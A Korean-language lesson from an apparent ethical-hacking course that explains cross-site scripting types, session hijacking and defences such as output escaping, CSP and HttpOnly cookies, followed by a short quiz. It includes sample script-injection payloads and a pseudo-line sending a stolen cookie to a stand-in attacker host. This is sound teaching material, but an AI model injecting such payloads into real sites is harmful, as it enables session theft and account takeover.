오늘 끝나면
XSS
- ✓XSS의 핵심 문제를 한 문장으로 설명한다
- ✓오른쪽 실습에서 XSS이 어떻게 움직이는지 관찰한다
- ✓다음 강의와 이어지는 한계를 말할 수 있다
실습 미션
남의 페이지에 내 스크립트를 심다 이 문장이 실제로 무슨 뜻인지 실습에서 한 번 손으로 확인한다.
성공 조건
- □실습의 기본값을 먼저 관찰
- □입력값이나 모드를 한 번 이상 바꿔 결과 비교
- □왜 결과가 바뀌었는지 한 문장으로 설명
화이트해킹 · 06
남의 페이지에
내 스크립트
남의 입력이 페이지에 그대로 출력되면 그게 코드로 실행된다.
그러면 피해자 브라우저에서 내 스크립트가 돌고, 쿠키와 세션이 샌다.
막는 법은 단순하다. 출력할 때 글자로 박제하면 된다.
입력이 코드가 되는 순간
XSS는 Cross-Site Scripting이다. 핵심은 한 줄이다. 남의 입력이 페이지에 그대로 섞이면 그게 실행된다.
댓글창에 <script>를 적었다고 치자.
서버가 그 글자를 검사 없이 받아 페이지 HTML에 그대로 붙이면, 브라우저는 그걸 글자가 아니라 진짜 태그로 읽는다.
브라우저 입장에선 페이지가 보낸 코드인지, 공격자가 댓글로 넣은 코드인지 구분하지 못한다.
한 페이지에 섞이는 순간 둘 다 똑같은 권한으로 실행된다.
그래서 진짜 문제는 입력이 아니라 출력이다.
받은 걸 화면에 다시 뱉을 때 글자로 막지 않으면 태그가 된다.
<script>steal()</script>
<div><script>steal()</script></div>
파란 부분이 실행된다 = XSS
저장형 vs 반사형
스크립트가 피해자에게 닿는 경로로 둘을 나눈다.
저장형(Stored)은 댓글이나 프로필, 게시글처럼 서버에 저장되는 곳에 스크립트를 한 번 심는 방식이다.
그 페이지를 여는 모두의 브라우저에서 자동 실행되니 가장 위험하다.
반사형(Reflected)은 저장되지 않는다.
검색어나 에러 메시지처럼 입력이 즉시 화면에 되비치는 곳에 스크립트를 끼운 링크를 만들어, 피해자가 그 링크를 클릭하게 만든다.
하나 더 있다. DOM 기반은 서버까지 가지 않고 브라우저 안 자바스크립트가 URL 조각을 그대로 화면에 꽂을 때 터진다.
경로는 달라도 뿌리는 같다. 입력을 코드로 취급한 것이다.
서버 DB에 한 번 심는다
모두에게
악성 링크로 한 명에게
속아서 클릭한 사람만
노리는 건 쿠키·세션
스크립트가 돌면 뭘 할 수 있나? 그 페이지에서 할 수 있는 건 다 된다.
제일 흔한 표적은 document.cookie다.
쿠키 안엔 로그인 세션 ID가 들어 있다. 그걸 공격자 서버로 보내면, 공격자는 비번 없이 피해자로 로그인된다. 이것이 세션 탈취(session hijacking)다.
쿠키만이 아니다. 화면을 가짜 로그인 폼으로 바꾸기, 키 입력 가로채기, 피해자 권한으로 글 쓰기와 송금 요청 보내기까지 전부 피해자 브라우저 안에서 일어난다.
그래서 XSS의 무게는 입력창 하나가 아니라 그 뒤의 계정 전체다.
document.cookie = sid=8f2a…
send('evil.site?c=' + cookie)
비번 없이 피해자로 로그인
안전한 데모로 직접
오른쪽은 격리된 가상 데모다. 진짜로 코드가 도는 게 아니라, 원리를 흉내로 보여준다.
댓글에 평범한 글과 <script>를 번갈아 넣어 보자.
아래 토글이 출력 이스케이프다.
이스케이프가 OFF면 입력이 그대로 HTML에 합쳐져, 스크립트가 실행되는 흉내를 보여준다(가상 로그).
이스케이프가 ON이면 < >가 글자로 바뀌어 그냥 텍스트로 박힌다.
같은 입력인데 출력 처리 한 끗으로 공격이 되기도 하고 안 되기도 한다. 그게 방어 지점이다.
<div class="comment"><script>alert(1)</script></div>
<script> 가 살아있는 태그가 된다. 브라우저는 이걸 코드로 읽고 돌린다.
실행: alert(1)
실제론 여기서 document.cookie 가 공격자 서버로 새나간다 = 세션 탈취.
방어, 이스케이프와 CSP
뿌리가 출력이니, 방어도 출력에서 시작한다.
1차 방어는 출력 이스케이프다.
화면에 뱉을 때 < > & "를 엔티티로 바꿔 태그가 되지 못하게 한다. 요즘 템플릿(React 등)은 기본으로 이걸 해줘서 그냥 텍스트를 꽂으면 안전하다. 위험한 건 innerHTML 같은 우회다.
2차는 CSP(Content-Security-Policy)다.
이 페이지가 어떤 스크립트만 실행할지 헤더로 미리 정해둔다. 인라인 스크립트와 외부 출처를 막아두면, 설령 끼어들어도 돌지 않는다. 그물망 역할을 한다.
여기에 HttpOnly 쿠키(자바스크립트가 쿠키를 못 읽게 한다)와 입력 검증을 더하면 여러 겹이 된다. 한 겹이 뚫려도 다음 겹이 받친다. 그게 방어의 기본이다.
Q. XSS로 노리는 것은? (서버 파일 삭제 · 피해자 브라우저에서 스크립트 실행 · DB 직접 변조 · 방화벽 무력화)
정답은 피해자 브라우저에서 스크립트 실행이다.XSS는 서버가 아니라 그 페이지를 연 사용자의 브라우저 안에서 코드를 돌린다.
그래서 쿠키와 세션 탈취, 화면 위조, 피해자 권한 요청 같은 짓이 가능하다.
막는 핵심은 출력 이스케이프와 CSP, HttpOnly 쿠키다.
한 겹 뚫려도 다음 겹이 받침